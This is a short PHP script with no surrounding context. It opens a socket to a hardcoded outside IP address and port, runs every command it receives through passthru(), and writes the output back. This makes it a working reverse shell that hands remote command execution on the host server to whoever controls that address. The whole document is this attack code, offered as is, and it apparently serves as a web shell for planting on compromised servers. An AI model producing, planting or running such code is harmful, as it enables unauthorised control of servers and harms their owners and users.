<?php     $address="107.189.61.68";     $port="4001";     $buff_size=2048;     $timeout=120;      $sock=socket_create(AF_INET,SOCK_STREAM,0) or die("Cannot create a socket");     socket_set_option($sock,SOL_SOCKET,SO_RCVTIMEO,array('sec'=>$timeout,'usec'=>0));     socket_set_option($sock,SOL_SOCKET,SO_SNDTIMEO,array('sec'=>$timeout,'usec'=>0));     socket_connect($sock,$address,$port) or die("Could not connect to the socket");      while ($read=socket_read($sock,$buff_size)) {         $out="";         if ($read) {             if (strcmp($read,"quit")===0 || strcmp($read,"q")===0) {                 break;             }              ob_start();             passthru($read);             $out=ob_get_contents();             ob_end_clean();         }          $length=strlen($out);         while (1) {             $sent=socket_write($sock,$out,$length);             if ($sent===false) {                 break;             }              if ($sent<$length) {                 $st=substr($st,$sent);                 $length-=$sent;             } else {                 break;             }         }     }     socket_close($sock); ?> 